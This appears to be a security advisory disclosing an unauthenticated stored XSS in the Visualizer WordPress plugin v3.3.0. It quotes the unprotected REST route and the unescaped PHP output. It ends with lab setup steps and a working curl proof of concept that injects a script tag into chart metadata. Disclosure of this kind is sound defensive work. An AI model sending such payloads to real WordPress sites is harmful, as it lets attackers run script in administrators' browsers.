The Visualizer plugin for Wordpress suffers from an unauthenticated stored XSS vulnerability. This was tested against v3.3.0.
This XSS actually relies on another vulnerability of sorts, in that it is possible for an anonymous user to modify data on an already created chart object by simply sending a constructed POST request to the /wp-json/visualizer/v1/update-chart
WP-JSON API endpoint. This can be seen here where the endpoint is registered (classes/Visualizer/Gutenberg/Block.php
) with no access control:
register_rest_route(
'visualizer/v' . VISUALIZER_REST_VERSION,
'/update-chart',
array(
'methods' => 'POST',
'callback' => array( $this, 'update_chart_data' ),
'args' => array(
'id' => array(
'sanitize_callback' => 'absint',
),
),
)
);
Inside the callback, there is also no access control being applied, as user input is saved directly to the post meta data associated with the chart id being targeted:
/**
* Rest Callback Method
*/
public function update_chart_data( $data ) {
if ( $data['id'] && ! is_wp_error( $data['id'] ) ) {
update_post_meta( $data['id'], Visualizer_Plugin::CF_CHART_TYPE, $data['visualizer-chart-type'] );
update_post_meta( $data['id'], Visualizer_Plugin::CF_SOURCE, $data['visualizer-source'] );
update_post_meta( $data['id'], Visualizer_Plugin::CF_DEFAULT_DATA, $data['visualizer-default-data'] );
update_post_meta( $data['id'], Visualizer_Plugin::CF_SERIES, $data['visualizer-series'] );
update_post_meta( $data['id'], Visualizer_Plugin::CF_SETTINGS, $data['visualizer-settings'] );
...
With the ability to arbitrarily define these meta data values, it is imperative that the values are handled safely - but they are not. We can see in a sidebar content function, these values are being output into HTML without any escaping (in classes/Visualizer/Render/Page/Data.php
):
$type = get_post_meta( $this->chart->ID, Visualizer_Plugin::CF_CHART_TYPE, true );
$lib = get_post_meta( $this->chart->ID, Visualizer_Plugin::CF_CHART_LIBRARY, true );
?>
<span id="visualizer-chart-id" data-id="<?php echo $this->chart->ID; ?>" data-chart-source="<?php echo $source_of_chart; ?>" data-chart-type="<?php echo $type; ?>" data-chart-lib="<?php echo $lib; ?>"></span>
This is just one example of an attacker controlled meta data value being injected into the HTML. In this case, we're interested in <?php echo $type; ?>
, as $type
is being set above using a straight get_post_meta()
call - looking at the markup, it appears a few others are likely vulnerable as well (related to the scheduling feature of the paid Pro version of the plugin).
Setup a Docker environment using this compose config: https://docs.docker.com/compose/wordpress/
Go through the standard Wordpress install process, and then install the Visualizer plugin (should be the first one listed when you search for "Visualizer" in Plugins > Add New), and activate it.
To enable the WP-JSON URL style used in the PoC below, you'll also want to change the permalink style to something other than "plain" in Settings > Permalinks.
Create a new chart and record the ID value.
curl -i -s -k -X $'POST' \
-H $'Host: 192.168.158.128:8000' -H $'Content-Type: application/json' \
--data-binary $'{\"id\": 7, \"visualizer-chart-type\": \"\\\"><script>alert(1);</script><span data-x=\\\"\"}' \
$'http://192.168.158.128:8000/wp-json/visualizer/v1/update-chart'
Note: 192.168.158.128
was the IP of my Docker host, so you'll probably have to change this. Also, my chart id was 7
but you may need to adjust that in the --data-binary
payload.
Once you have executed this curl command, go back to the chart as an admin and go to edit it - we've corrupted the chart due to changing the type to an illegitimate value, but the alert should fire showcasing stored XSS.